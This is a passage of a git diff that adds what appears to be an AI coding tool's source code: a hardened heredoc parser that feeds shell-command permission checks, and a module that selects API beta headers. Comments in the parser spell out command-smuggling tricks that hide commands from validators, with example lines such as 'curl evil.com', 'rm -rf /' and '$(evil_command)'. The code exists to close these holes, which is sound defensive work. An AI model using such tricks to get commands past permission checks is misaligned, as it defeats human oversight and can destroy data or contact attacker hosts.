+      // comment. Only the `#` detection itself is gated on not-in-comment.
+      if (ch === '\\') {
+        scanPendingBackslashes++
+        continue
+      }
+      const escaped = scanPendingBackslashes % 2 === 1
+      scanPendingBackslashes = 0
+      if (escaped) continue
+
+      if (ch === "'") scanInSingleQuote = true
+      else if (ch === '"') scanInDoubleQuote = true
+      else if (!scanInComment && ch === '#') scanInComment = true
+    }
+    scanPos = target
+  }
+
+  while ((match = heredocStartPattern.exec(command)) !== null) {
+    const startIndex = match.index
+
+    // Advance the incremental scanner to this match's position. After this,
+    // scanInSingleQuote/scanInDoubleQuote/scanInComment reflect the parser
+    // state immediately BEFORE startIndex, and scanPendingBackslashes is the
+    // count of unquoted `\` immediately preceding startIndex.
+    advanceScan(startIndex)
+
+    // Skip if this << is inside a quoted string (not a real heredoc operator).
+    if (scanInSingleQuote || scanInDoubleQuote) {
+      continue
+    }
+
+    // Security: Skip if this << is inside a comment (after unquoted #).
+    // In bash, `# <<EOF` is a comment — extracting it would hide commands on
+    // subsequent lines as "heredoc content" while bash executes them.
+    if (scanInComment) {
+      continue
+    }
+
+    // Security: Skip if this << is preceded by an odd number of backslashes.
+    // In bash, `\<<EOF` is NOT a heredoc — `\<` is a literal `<`, then `<EOF`
+    // is input redirection. Extracting it would drop same-line commands from
+    // security checks. The scanner tracks the unquoted backslash run ending
+    // immediately before startIndex (scanPendingBackslashes).
+    if (scanPendingBackslashes % 2 === 1) {
+      continue
+    }
+
+    // Security: Bail if this `<<` falls inside the body of a previously
+    // SKIPPED heredoc (unquoted heredoc in quotedOnly mode). In bash,
+    // `<<` inside a heredoc body is just text — it's not a nested heredoc
+    // operator. Extracting it would hide content that bash actually expands.
+    let insideSkipped = false
+    for (const skipped of skippedHeredocRanges) {
+      if (
+        startIndex > skipped.contentStartIndex &&
+        startIndex < skipped.contentEndIndex
+      ) {
+        insideSkipped = true
+        break
+      }
+    }
+    if (insideSkipped) {
+      continue
+    }
+
+    const fullMatch = match[0]
+    const isDash = match[1] === '-'
+    // Group 3 = quoted delimiter (may include backslash), group 4 = unquoted
+    const delimiter = (match[3] || match[4])!
+    const operatorEndIndex = startIndex + fullMatch.length
+
+    // Security: Two checks to verify our regex captured the full delimiter word.
+    // Any mismatch between our parsed delimiter and bash's actual delimiter
+    // could allow command smuggling past permission checks.
+
+    // Check 1: If a quote was captured (group 2), verify the closing quote
+    // was actually matched by \2 in the regex (the quoted alternative requires
+    // the closing quote). The regex's \w+ only matches [a-zA-Z0-9_], so
+    // non-word chars inside quotes (spaces, hyphens, dots) cause \w+ to stop
+    // early, leaving the closing quote unmatched.
+    // Example: <<"EO F" — regex captures "EO", misses closing ", delimiter
+    // should be "EO F" but we'd use "EO". Skip to prevent mismatch.
+    const quoteChar = match[2]
+    if (quoteChar && command[operatorEndIndex - 1] !== quoteChar) {
+      continue
+    }
+
+    // Security: Determine if the delimiter is quoted ('EOF', "EOF") or
+    // escaped (\EOF). In bash, quoted/escaped delimiters suppress all
+    // expansion in the heredoc body — content is literal text. Unquoted
+    // delimiters (<<EOF) perform full shell expansion: $(), backticks,
+    // and ${} in the body ARE executed. When quotedOnly is set, skip
+    // unquoted heredocs so their bodies remain visible to security
+    // validators (they may contain executable command substitutions).
+    const isEscapedDelimiter = fullMatch.includes('\\')
+    const isQuotedOrEscaped = !!quoteChar || isEscapedDelimiter
+    // Note: We do NOT skip unquoted heredocs here anymore when quotedOnly is
+    // set. Instead, we compute their content range and add them to
+    // skippedHeredocRanges, then skip them AFTER finding the closing
+    // delimiter. This lets the nesting filter correctly reject quoted
+    // "heredocs" that appear inside unquoted heredoc bodies.
+
+    // Check 2: Verify the next character after our match is a bash word
+    // terminator (metacharacter or end of string). Characters like word chars,
+    // quotes, $, \ mean the bash word extends beyond our match
+    // (e.g., <<'EOF'a where bash uses "EOFa" but we captured "EOF").
+    // IMPORTANT: Only match bash's actual metacharacters — space (0x20),
+    // tab (0x09), newline (0x0A), |, &, ;, (, ), <, >. Do NOT use \s which
+    // also matches \r, \f, \v, and Unicode whitespace that bash treats as
+    // regular word characters, not terminators.
+    if (operatorEndIndex < command.length) {
+      const nextChar = command[operatorEndIndex]!
+      if (!/^[ \t\n|&;()<>]$/.test(nextChar)) {
+        continue
+      }
+    }
+
+    // In bash, heredoc content starts on the NEXT LINE after the operator.
+    // Any content on the same line after <<EOF (like " && echo done") is part
+    // of the command, not the heredoc content.
+    //
+    // SECURITY: The "same line" must be the LOGICAL command line, not the
+    // first physical newline. Multi-line quoted strings extend the logical
+    // line — bash waits for the quote to close before starting to read the
+    // heredoc body. A quote-blind `indexOf('\n')` finds newlines INSIDE
+    // quoted strings, causing the body to start too early.
+    //
+    // Exploit: `echo <<'EOF' '${}\n' ; curl evil.com\nEOF`
+    //   - The `\n` inside `'${}\n'` is quoted (literal newline in a string arg)
+    //   - Bash: waits for `'` to close → logical line is
+    //     `echo <<'EOF' '${}\n' ; curl evil.com` → heredoc body = `EOF`
+    //   - Our old code: indexOf('\n') finds the quoted newline → body starts
+    //     at `' ; curl evil.com\nEOF` → curl swallowed into placeholder →
+    //     NEVER reaches permission checks.
+    //
+    // Fix: scan forward from operatorEndIndex using quote-state tracking,
+    // finding the first newline that's NOT inside a quoted string. Same
+    // quote-tracking semantics as advanceScan (already used to validate
+    // the `<<` operator position above).
+    let firstNewlineOffset = -1
+    {
+      let inSingleQuote = false
+      let inDoubleQuote = false
+      // We start with clean quote state — advanceScan already rejected the
+      // case where the `<<` operator itself is inside a quote.
+      for (let k = operatorEndIndex; k < command.length; k++) {
+        const ch = command[k]
+        if (inSingleQuote) {
+          if (ch === "'") inSingleQuote = false
+          continue
+        }
+        if (inDoubleQuote) {
+          if (ch === '\\') {
+            k++ // skip escaped char inside double quotes
+            continue
+          }
+          if (ch === '"') inDoubleQuote = false
+          continue
+        }
+        // Unquoted context
+        if (ch === '\n') {
+          firstNewlineOffset = k - operatorEndIndex
+          break
+        }
+        // Count backslashes for escape detection in unquoted context
+        let backslashCount = 0
+        for (let j = k - 1; j >= operatorEndIndex && command[j] === '\\'; j--) {
+          backslashCount++
+        }
+        if (backslashCount % 2 === 1) continue // escaped char
+        if (ch === "'") inSingleQuote = true
+        else if (ch === '"') inDoubleQuote = true
+      }
+      // If we ended while still inside a quote, the logical line never ends —
+      // there is no heredoc body. Leave firstNewlineOffset as -1 (handled below).
+    }
+
+    // If no unquoted newline found, this heredoc has no content - skip it
+    if (firstNewlineOffset === -1) {
+      continue
+    }
+
+    // Security: Check for backslash-newline continuation at the end of the
+    // same-line content (text between the operator and the newline). In bash,
+    // `\<newline>` joins lines BEFORE heredoc parsing — so:
+    //   cat <<'EOF' && \
+    //   rm -rf /
+    //   content
+    //   EOF
+    // bash joins to `cat <<'EOF' && rm -rf /` (rm is part of the command line),
+    // then heredoc body = `content`. Our extractor runs BEFORE continuation
+    // joining (commands.ts:82), so it would put `rm -rf /` in the heredoc body,
+    // hiding it from all validators. Bail if same-line content ends with an
+    // odd number of backslashes.
+    const sameLineContent = command.slice(
+      operatorEndIndex,
+      operatorEndIndex + firstNewlineOffset,
+    )
+    let trailingBackslashes = 0
+    for (let j = sameLineContent.length - 1; j >= 0; j--) {
+      if (sameLineContent[j] === '\\') {
+        trailingBackslashes++
+      } else {
+        break
+      }
+    }
+    if (trailingBackslashes % 2 === 1) {
+      // Odd number of trailing backslashes → last one escapes the newline
+      // → this is a line continuation. Our heredoc-before-continuation order
+      // would misparse this. Bail out.
+      continue
+    }
+
+    const contentStartIndex = operatorEndIndex + firstNewlineOffset
+    const afterNewline = command.slice(contentStartIndex + 1) // +1 to skip the newline itself
+    const contentLines = afterNewline.split('\n')
+
+    // Find the closing delimiter - must be on its own line
+    // Security: Must match bash's exact behavior to prevent parsing discrepancies
+    // that could allow command smuggling past permission checks.
+    let closingLineIndex = -1
+    for (let i = 0; i < contentLines.length; i++) {
+      const line = contentLines[i]!
+
+      if (isDash) {
+        // <<- strips leading TABS only (not spaces), per POSIX/bash spec.
+        // The line after stripping leading tabs must be exactly the delimiter.
+        const stripped = line.replace(/^\t*/, '')
+        if (stripped === delimiter) {
+          closingLineIndex = i
+          break
+        }
+      } else {
+        // << requires the closing delimiter to be exactly alone on the line
+        // with NO leading or trailing whitespace. This matches bash behavior.
+        if (line === delimiter) {
+          closingLineIndex = i
+          break
+        }
+      }
+
+      // Security: Check for PST_EOFTOKEN-like early closure (make_cmd.c:606).
+      // Inside $(), ${}, or backtick substitution, bash closes a heredoc when
+      // a line STARTS with the delimiter and contains the shell_eof_token
+      // (`)`, `}`, or backtick) anywhere after it. Our parser only does exact
+      // line matching, so this discrepancy could hide smuggled commands.
+      //
+      // Paranoid extension: also bail on bash metacharacters (|, &, ;, (, <,
+      // >) after the delimiter, which could indicate command syntax from a
+      // parsing discrepancy we haven't identified.
+      //
+      // For <<- heredocs, bash strips leading tabs before this check.
+      const eofCheckLine = isDash ? line.replace(/^\t*/, '') : line
+      if (
+        eofCheckLine.length > delimiter.length &&
+        eofCheckLine.startsWith(delimiter)
+      ) {
+        const charAfterDelimiter = eofCheckLine[delimiter.length]!
+        if (/^[)}`|&;(<>]$/.test(charAfterDelimiter)) {
+          // Shell metacharacter or substitution closer after delimiter —
+          // bash may close the heredoc early here. Bail out.
+          closingLineIndex = -1
+          break
+        }
+      }
+    }
+
+    // Security: If quotedOnly mode is set and this is an unquoted heredoc,
+    // record its content range for nesting checks but do NOT add it to
+    // heredocMatches. This ensures quoted "heredocs" inside its body are
+    // correctly rejected by the insideSkipped check on subsequent iterations.
+    //
+    // CRITICAL: We do this BEFORE the closingLineIndex === -1 check. If the
+    // unquoted heredoc has no closing delimiter, bash still treats everything
+    // to end-of-input as the heredoc body (and expands $() within it). We
+    // must block extraction of any subsequent quoted "heredoc" that falls
+    // inside that unbounded body.
+    if (options?.quotedOnly && !isQuotedOrEscaped) {
+      let skipContentEndIndex: number
+      if (closingLineIndex === -1) {
+        // No closing delimiter — in bash, heredoc body extends to end of
+        // input. Track the entire remaining range as "skipped body".
+        skipContentEndIndex = command.length
+      } else {
+        const skipLinesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
+        const skipContentLength = skipLinesUpToClosing.join('\n').length
+        skipContentEndIndex = contentStartIndex + 1 + skipContentLength
+      }
+      skippedHeredocRanges.push({
+        contentStartIndex,
+        contentEndIndex: skipContentEndIndex,
+      })
+      continue
+    }
+
+    // If no closing delimiter found, this is malformed - skip it
+    if (closingLineIndex === -1) {
+      continue
+    }
+
+    // Calculate end position: contentStartIndex + 1 (newline) + length of lines up to and including closing delimiter
+    const linesUpToClosing = contentLines.slice(0, closingLineIndex + 1)
+    const contentLength = linesUpToClosing.join('\n').length
+    const contentEndIndex = contentStartIndex + 1 + contentLength
+
+    // Security: Bail if this heredoc's content range OVERLAPS with any
+    // previously-skipped heredoc's content range. This catches the case where
+    // two heredocs share a command line (`cat <<EOF <<'SAFE'`) and the first
+    // is unquoted (skipped in quotedOnly mode). In bash, when multiple heredocs
+    // share a line, their bodies appear SEQUENTIALLY (first's body, then
+    // second's). Both compute contentStartIndex from the SAME newline, so the
+    // second's body search walks through the first's body. For:
+    //   cat <<EOF <<'SAFE'
+    //   $(evil_command)
+    //   EOF
+    //   safe body
+    //   SAFE
+    // ...the quoted <<'SAFE' would incorrectly extract lines 2-4 as its body,
+    // swallowing `$(evil_command)` (which bash EXECUTES via the unquoted
+    // <<EOF's expansion) into the placeholder, hiding it from validators.
+    //
+    // The insideSkipped check above doesn't catch this because the quoted
+    // operator's startIndex is on the command line BEFORE contentStart.
+    // The contentStartPositions dedup check below doesn't catch it because the
+    // skipped heredoc is in skippedHeredocRanges, not topLevelHeredocs.
+    let overlapsSkipped = false
+    for (const skipped of skippedHeredocRanges) {
+      // Ranges [a,b) and [c,d) overlap iff a < d && c < b
+      if (
+        contentStartIndex < skipped.contentEndIndex &&
+        skipped.contentStartIndex < contentEndIndex
+      ) {
+        overlapsSkipped = true
+        break
+      }
+    }
+    if (overlapsSkipped) {
+      continue
+    }
+
+    // Build fullText: operator + newline + content (normalized form for restoration)
+    // This creates a clean heredoc that can be restored correctly
+    const operatorText = command.slice(startIndex, operatorEndIndex)
+    const contentText = command.slice(contentStartIndex, contentEndIndex)
+    const fullText = operatorText + contentText
+
+    heredocMatches.push({
+      fullText,
+      delimiter,
+      operatorStartIndex: startIndex,
+      operatorEndIndex,
+      contentStartIndex,
+      contentEndIndex,
+    })
+  }
+
+  // If no valid heredocs found, return original
+  if (heredocMatches.length === 0) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Filter out nested heredocs - any heredoc whose operator starts inside
+  // another heredoc's content range should be excluded.
+  // This prevents corruption when heredoc content contains << patterns.
+  const topLevelHeredocs = heredocMatches.filter((candidate, _i, all) => {
+    // Check if this candidate's operator is inside any other heredoc's content
+    for (const other of all) {
+      if (candidate === other) continue
+      // Check if candidate's operator starts within other's content range
+      if (
+        candidate.operatorStartIndex > other.contentStartIndex &&
+        candidate.operatorStartIndex < other.contentEndIndex
+      ) {
+        // This heredoc is nested inside another - filter it out
+        return false
+      }
+    }
+    return true
+  })
+
+  // If filtering removed all heredocs, return original
+  if (topLevelHeredocs.length === 0) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Check for multiple heredocs sharing the same content start position
+  // (i.e., on the same line). This causes index corruption during replacement
+  // because indices are calculated on the original string but applied to
+  // a progressively modified string. Return without extraction - the fallback
+  // is safe (requires manual approval or fails parsing).
+  const contentStartPositions = new Set(
+    topLevelHeredocs.map(h => h.contentStartIndex),
+  )
+  if (contentStartPositions.size < topLevelHeredocs.length) {
+    return { processedCommand: command, heredocs }
+  }
+
+  // Sort by content end position descending so we can replace from end to start
+  // (this preserves indices for earlier replacements)
+  topLevelHeredocs.sort((a, b) => b.contentEndIndex - a.contentEndIndex)
+
+  // Generate a unique salt for this extraction to prevent placeholder collisions
+  // with literal "__HEREDOC_N__" text in commands
+  const salt = generatePlaceholderSalt()
+
+  let processedCommand = command
+  topLevelHeredocs.forEach((info, index) => {
+    // Use reverse index since we sorted descending
+    const placeholderIndex = topLevelHeredocs.length - 1 - index
+    const placeholder = `${HEREDOC_PLACEHOLDER_PREFIX}${placeholderIndex}_${salt}${HEREDOC_PLACEHOLDER_SUFFIX}`
+
+    heredocs.set(placeholder, info)
+
+    // Replace heredoc with placeholder while preserving same-line content:
+    // - Keep everything before the operator
+    // - Replace operator with placeholder
+    // - Keep content between operator and heredoc content (e.g., " && echo done")
+    // - Remove the heredoc content (from newline through closing delimiter)
+    // - Keep everything after the closing delimiter
+    processedCommand =
+      processedCommand.slice(0, info.operatorStartIndex) +
+      placeholder +
+      processedCommand.slice(info.operatorEndIndex, info.contentStartIndex) +
+      processedCommand.slice(info.contentEndIndex)
+  })
+
+  return { processedCommand, heredocs }
+}
+
+/**
+ * Restores heredoc placeholders back to their original content in a single string.
+ * Internal helper used by restoreHeredocs.
+ */
+function restoreHeredocsInString(
+  text: string,
+  heredocs: Map<string, HeredocInfo>,
+): string {
+  let result = text
+  for (const [placeholder, info] of heredocs) {
+    result = result.replaceAll(placeholder, info.fullText)
+  }
+  return result
+}
+
+/**
+ * Restores heredoc placeholders in an array of strings.
+ *
+ * @param parts - Array of strings that may contain heredoc placeholders
+ * @param heredocs - The map of placeholders from `extractHeredocs`
+ * @returns New array with placeholders replaced by original heredoc content
+ */
+export function restoreHeredocs(
+  parts: string[],
+  heredocs: Map<string, HeredocInfo>,
+): string[] {
+  if (heredocs.size === 0) {
+    return parts
+  }
+
+  return parts.map(part => restoreHeredocsInString(part, heredocs))
+}
+
+/**
+ * Checks if a command contains heredoc syntax.
+ *
+ * This is a quick check that doesn't validate the heredoc is well-formed,
+ * just that the pattern exists.
+ *
+ * @param command - The shell command string
+ * @returns true if the command appears to contain heredoc syntax
+ */
+export function containsHeredoc(command: string): boolean {
+  return HEREDOC_START_PATTERN.test(command)
+}
diff --git a/cc-haha/src/utils/betas.ts b/cc-haha/src/utils/betas.ts
new file mode 100644
index 0000000..da42911
--- /dev/null
+++ b/cc-haha/src/utils/betas.ts
@@ -0,0 +1,439 @@
+import { feature } from 'bun:bundle'
+import memoize from 'lodash-es/memoize.js'
+import {
+  checkStatsigFeatureGate_CACHED_MAY_BE_STALE,
+  getFeatureValue_CACHED_MAY_BE_STALE,
+} from 'src/services/analytics/growthbook.js'
+import { getIsNonInteractiveSession, getSdkBetas } from '../bootstrap/state.js'
+import {
+  BEDROCK_EXTRA_PARAMS_HEADERS,
+  CLAUDE_CODE_20250219_BETA_HEADER,
+  CLI_INTERNAL_BETA_HEADER,
+  CONTEXT_1M_BETA_HEADER,
+  CONTEXT_MANAGEMENT_BETA_HEADER,
+  INTERLEAVED_THINKING_BETA_HEADER,
+  PROMPT_CACHING_SCOPE_BETA_HEADER,
+  REDACT_THINKING_BETA_HEADER,
+  STRUCTURED_OUTPUTS_BETA_HEADER,
+  SUMMARIZE_CONNECTOR_TEXT_BETA_HEADER,
+  TOKEN_EFFICIENT_TOOLS_BETA_HEADER,
+  TOOL_SEARCH_BETA_HEADER_1P,
+  TOOL_SEARCH_BETA_HEADER_3P,
+  WEB_SEARCH_BETA_HEADER,
+} from '../constants/betas.js'
+import { OAUTH_BETA_HEADER } from '../constants/oauth.js'
+import { isClaudeAISubscriber } from './auth.js'
+import { has1mContext } from './context.js'
+import { isEnvDefinedFalsy, isEnvTruthy } from './envUtils.js'
+import { getCanonicalName } from './model/model.js'
+import { get3PModelCapabilityOverride } from './model/modelSupportOverrides.js'
+import { getAPIProvider, isFirstPartyAnthropicBaseUrl } from './model/providers.js'
+import { getInitialSettings } from './settings/settings.js'
+
+/**
+ * SDK-provided betas that are allowed for API key users.
+ * Only betas in this list can be passed via SDK options.
+ */
+const ALLOWED_SDK_BETAS = [CONTEXT_1M_BETA_HEADER]
+
+/**
+ * Filter betas to only include those in the allowlist.
+ * Returns allowed and disallowed betas separately.
+ */
+function partitionBetasByAllowlist(betas: string[]): {
+  allowed: string[]
+  disallowed: string[]
+} {
+  const allowed: string[] = []
+  const disallowed: string[] = []
+  for (const beta of betas) {
+    if (ALLOWED_SDK_BETAS.includes(beta)) {
+      allowed.push(beta)
+    } else {
+      disallowed.push(beta)
+    }
+  }
+  return { allowed, disallowed }
+}
+
+/**
+ * Filter SDK betas to only include allowed ones.
+ * Warns about disallowed betas and subscriber restrictions.
+ * Returns undefined if no valid betas remain or if user is a subscriber.
+ */
+export function filterAllowedSdkBetas(
+  sdkBetas: string[] | undefined,
+): string[] | undefined {
+  if (!sdkBetas || sdkBetas.length === 0) {
+    return undefined
+  }
+
+  if (isClaudeAISubscriber()) {
+    // biome-ignore lint/suspicious/noConsole: intentional warning
+    console.warn(
+      'Warning: Custom betas are only available for API key users. Ignoring provided betas.',
+    )
+    return undefined
+  }
+
+  const { allowed, disallowed } = partitionBetasByAllowlist(sdkBetas)
+  for (const beta of disallowed) {
+    // biome-ignore lint/suspicious/noConsole: intentional warning
+    console.warn(
+      `Warning: Beta header '${beta}' is not allowed. Only the following betas are supported: ${ALLOWED_SDK_BETAS.join(', ')}`,
+    )
+  }
+  return allowed.length > 0 ? allowed : undefined
+}
+
+// Generally, foundry supports all 1P features;
+// however out of an abundance of caution, we do not enable any which are behind an experiment
+
+export function modelSupportsISP(model: string): boolean {
+  const supported3P = get3PModelCapabilityOverride(
+    model,
+    'interleaved_thinking',
+  )
+  if (supported3P !== undefined) {
+    return supported3P
+  }
+  const canonical = getCanonicalName(model)
+  const provider = getAPIProvider()
+  // Foundry supports interleaved thinking for all models
+  if (provider === 'foundry') {
+    return true
+  }
+  if (provider === 'firstParty') {
+    return !canonical.includes('claude-3-')
+  }
+  return (
+    canonical.includes('claude-opus-4') || canonical.includes('claude-sonnet-4')
+  )
+}
+
+function vertexModelSupportsWebSearch(model: string): boolean {
+  const canonical = getCanonicalName(model)
+  // Web search only supported on Claude 4.0+ models on Vertex
+  return (
+    canonical.includes('claude-opus-4') ||
+    canonical.includes('claude-sonnet-4') ||
+    canonical.includes('claude-haiku-4')
+  )
+}
+
+// Context management is supported on Claude 4+ models
+export function modelSupportsContextManagement(model: string): boolean {
+  const canonical = getCanonicalName(model)
+  const provider = getAPIProvider()
+  if (provider === 'foundry') {
+    return true
+  }
+  if (provider === 'firstParty') {
+    return !canonical.includes('claude-3-')
+  }
+  return (
+    canonical.includes('claude-opus-4') ||
+    canonical.includes('claude-sonnet-4') ||
+    canonical.includes('claude-haiku-4')
+  )
+}
+
+// @[MODEL LAUNCH]: Add the new model ID to this list if it supports structured outputs.
+export function modelSupportsStructuredOutputs(model: string): boolean {
+  const canonical = getCanonicalName(model)
+  const provider = getAPIProvider()
+  // Structured outputs only supported on firstParty and Foundry (not Bedrock/Vertex yet)
+  if (provider !== 'firstParty' && provider !== 'foundry') {
+    return false
+  }
+  return (
+    canonical.includes('claude-sonnet-4-6') ||
+    canonical.includes('claude-sonnet-4-5') ||
+    canonical.includes('claude-opus-4-1') ||
+    canonical.includes('claude-opus-4-5') ||
+    canonical.includes('claude-opus-4-7') ||
+    canonical.includes('claude-haiku-4-5')
+  )
+}
+
+// @[MODEL LAUNCH]: Add the new model if it supports auto mode (specifically PI probes) — ask in #proj-claude-code-safety-research.
+export function modelSupportsAutoMode(model: string): boolean {
+  if (feature('TRANSCRIPT_CLASSIFIER')) {
+    const m = getCanonicalName(model)
+    // External: firstParty-only at launch (PI probes not wired for
+    // Bedrock/Vertex/Foundry yet). Checked before allowModels so the GB
+    // override can't enable auto mode on unsupported providers.
+    if (process.env.USER_TYPE !== 'ant' && getAPIProvider() !== 'firstParty') {
+      return false
+    }
+    // GrowthBook override: tengu_auto_mode_config.allowModels force-enables
+    // auto mode for listed models, bypassing the denylist/allowlist below.
+    // Exact model IDs (e.g. "claude-strudel-v6-p") match only that model;
+    // canonical names (e.g. "claude-strudel") match the whole family.
+    const config = getFeatureValue_CACHED_MAY_BE_STALE<{
+      allowModels?: string[]
+    }>('tengu_auto_mode_config', {})
+    const rawLower = model.toLowerCase()
+    if (
+      config?.allowModels?.some(
+        am => am.toLowerCase() === rawLower || am.toLowerCase() === m,
+      )
+    ) {
+      return true
+    }
+    if (process.env.USER_TYPE === 'ant') {
+      // Denylist: block known-unsupported claude models, allow everything else (ant-internal models etc.)
+      if (m.includes('claude-3-')) return false
+      // claude-*-4 not followed by -[6-9]: blocks bare -4, -4-YYYYMMDD, -4@, -4-0 thru -4-5
+      if (/claude-(opus|sonnet|haiku)-4(?!-[6-9])/.test(m)) return false
+      return true
+    }
+    // External allowlist (firstParty already checked above).
+    return /^claude-(opus|sonnet)-4-6/.test(m)
+  }
+  return false
+}
+
+/**
+ * Get the correct tool search beta header for the current API provider.
+ * - Claude API / Foundry: advanced-tool-use-2025-11-20
+ * - Vertex AI / Bedrock: tool-search-tool-2025-10-19
+ */
+export function getToolSearchBetaHeader(): string {
+  const provider = getAPIProvider()
+  if (provider === 'vertex' || provider === 'bedrock') {
+    return TOOL_SEARCH_BETA_HEADER_3P
+  }
+  return TOOL_SEARCH_BETA_HEADER_1P
+}
+
+/**
+ * Check if experimental betas should be included.
+ * These are betas that are only available on firstParty provider
+ * and may not be supported by proxies or other providers.
+ */
+export function shouldIncludeFirstPartyOnlyBetas(): boolean {
+  return (
+    (getAPIProvider() === 'firstParty' || getAPIProvider() === 'foundry') &&
+    (getAPIProvider() !== 'firstParty' || isFirstPartyAnthropicBaseUrl()) &&
+    !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS)
+  )
+}
+
+/**
+ * Global-scope prompt caching is firstParty only. Foundry is excluded because
+ * GrowthBook never bucketed Foundry users into the rollout experiment — the
+ * treatment data is firstParty-only.
+ */
+export function shouldUseGlobalCacheScope(): boolean {
+  return (
+    getAPIProvider() === 'firstParty' &&
+    !isEnvTruthy(process.env.CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS)
+  )
+}
+
+export const getAllModelBetas = memoize((model: string): string[] => {
+  const betaHeaders = []
+  const isHaiku = getCanonicalName(model).includes('haiku')
+  const provider = getAPIProvider()
+  const includeFirstPartyOnlyBetas = shouldIncludeFirstPartyOnlyBetas()
+
+  if (!isHaiku) {
+    betaHeaders.push(CLAUDE_CODE_20250219_BETA_HEADER)
+    if (
+      process.env.USER_TYPE === 'ant' &&
+      process.env.CLAUDE_CODE_ENTRYPOINT === 'cli'
+    ) {
+      if (CLI_INTERNAL_BETA_HEADER) {
+        betaHeaders.push(CLI_INTERNAL_BETA_HEADER)
+      }
+    }
+  }
+  if (isClaudeAISubscriber()) {
+    betaHeaders.push(OAUTH_BETA_HEADER)
+  }
+  if (has1mContext(model)) {
+    betaHeaders.push(CONTEXT_1M_BETA_HEADER)
+  }
+  if (
+    !isEnvTruthy(process.env.DISABLE_INTERLEAVED_THINKING) &&
+    modelSupportsISP(model)
+  ) {
+    betaHeaders.push(INTERLEAVED_THINKING_BETA_HEADER)
+  }
+
+  // Skip the API-side Haiku thinking summarizer — the summary is only used
+  // for ctrl+o display, which interactive users rarely open. The API returns
+  // redacted_thinking blocks instead; AssistantRedactedThinkingMessage already
+  // renders those as a stub. SDK / print-mode keep summaries because callers
+  // may iterate over thinking content. Users can opt back in via settings.json
+  // showThinkingSummaries.
+  if (
+    includeFirstPartyOnlyBetas &&
+    modelSupportsISP(model) &&
+    !getIsNonInteractiveSession() &&
+    getInitialSettings().showThinkingSummaries !== true
+  ) {
+    betaHeaders.push(REDACT_THINKING_BETA_HEADER)
+  }
+
+  // POC: server-side connector-text summarization (anti-distillation). The
+  // API buffers assistant text between tool calls, summarizes it, and returns
+  // the summary with a signature so the original can be restored on subsequent
+  // turns — same mechanism as thinking blocks. Ant-only while we measure
+  // TTFT/TTLT/capacity; betas already flow to tengu_api_success for splitting.
+  // Backend independently requires Capability.ANTHROPIC_INTERNAL_RESEARCH.
+  //
+  // USE_CONNECTOR_TEXT_SUMMARIZATION is tri-state: =1 forces on (opt-in even
+  // if GB is off), =0 forces off (opt-out of a GB rollout you were bucketed
+  // into), unset defers to GB.
+  if (
+    SUMMARIZE_CONNECTOR_TEXT_BETA_HEADER &&
+    process.env.USER_TYPE === 'ant' &&
+    includeFirstPartyOnlyBetas &&
+    !isEnvDefinedFalsy(process.env.USE_CONNECTOR_TEXT_SUMMARIZATION) &&
+    (isEnvTruthy(process.env.USE_CONNECTOR_TEXT_SUMMARIZATION) ||
+      getFeatureValue_CACHED_MAY_BE_STALE('tengu_slate_prism', false))
+  ) {
+    betaHeaders.push(SUMMARIZE_CONNECTOR_TEXT_BETA_HEADER)
+  }
+
+  // Add context management beta for tool clearing (ant opt-in) or thinking preservation
+  const antOptedIntoToolClearing =
+    isEnvTruthy(process.env.USE_API_CONTEXT_MANAGEMENT) &&
+    process.env.USER_TYPE === 'ant'
+
+  const thinkingPreservationEnabled = modelSupportsContextManagement(model)
+
+  if (
+    shouldIncludeFirstPartyOnlyBetas() &&
+    (antOptedIntoToolClearing || thinkingPreservationEnabled)
+  ) {
+    betaHeaders.push(CONTEXT_MANAGEMENT_BETA_HEADER)
+  }
+  // Add strict tool use beta if experiment is enabled.
+  // Gate on includeFirstPartyOnlyBetas: CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS
+  // already strips schema.strict from tool bodies at api.ts's choke point, but
+  // this header was escaping that kill switch. Proxy gateways that look like
+  // firstParty but forward to Vertex reject this header with 400.
+  // github.com/deshaw/anthropic-issues/issues/5
+  const strictToolsEnabled =
+    checkStatsigFeatureGate_CACHED_MAY_BE_STALE('tengu_tool_pear')
+  // 3P default: false. API rejects strict + token-efficient-tools together
+  // (tool_use.py:139), so these are mutually exclusive — strict wins.
+  const tokenEfficientToolsEnabled =
+    !strictToolsEnabled &&
+    getFeatureValue_CACHED_MAY_BE_STALE('tengu_amber_json_tools', false)
+  if (
+    includeFirstPartyOnlyBetas &&
+    modelSupportsStructuredOutputs(model) &&
+    strictToolsEnabled
+  ) {
+    betaHeaders.push(STRUCTURED_OUTPUTS_BETA_HEADER)
+  }
+  // JSON tool_use format (FC v3) — ~4.5% output token reduction vs ANTML.
+  // Sends the v2 header (2026-03-28) added in anthropics/anthropic#337072 to
+  // isolate the CC A/B cohort from ~9.2M/week existing v1 senders. Ant-only
+  // while the restored JsonToolUseOutputParser soaks.
+  if (
+    process.env.USER_TYPE === 'ant' &&
+    includeFirstPartyOnlyBetas &&
+    tokenEfficientToolsEnabled
+  ) {
+    betaHeaders.push(TOKEN_EFFICIENT_TOOLS_BETA_HEADER)
+  }
+
+  // Add web search beta for Vertex Claude 4.0+ models only
+  if (provider === 'vertex' && vertexModelSupportsWebSearch(model)) {
+    betaHeaders.push(WEB_SEARCH_BETA_HEADER)
+  }
+  // Foundry only ships models that already support Web Search
+  if (provider === 'foundry') {
+    betaHeaders.push(WEB_SEARCH_BETA_HEADER)
+  }
+
+  // Always send the beta header for 1P. The header is a no-op without a scope field.
+  if (includeFirstPartyOnlyBetas) {
+    betaHeaders.push(PROMPT_CACHING_SCOPE_BETA_HEADER)
+  }
+
+  // If ANTHROPIC_BETAS is set, split it by commas and add to betaHeaders.
+  // This is an explicit user opt-in, so honor it regardless of model.
+  if (process.env.ANTHROPIC_BETAS) {
+    betaHeaders.push(
+      ...process.env.ANTHROPIC_BETAS.split(',')
+        .map(_ => _.trim())
+        .filter(Boolean),
+    )
+  }
+  return betaHeaders
+})
+
+export const getModelBetas = memoize((model: string): string[] => {
+  const modelBetas = getAllModelBetas(model)
+  if (getAPIProvider() === 'bedrock') {
+    return modelBetas.filter(b => !BEDROCK_EXTRA_PARAMS_HEADERS.has(b))
+  }
+  return modelBetas
+})
+
+export const getBedrockExtraBodyParamsBetas = memoize(
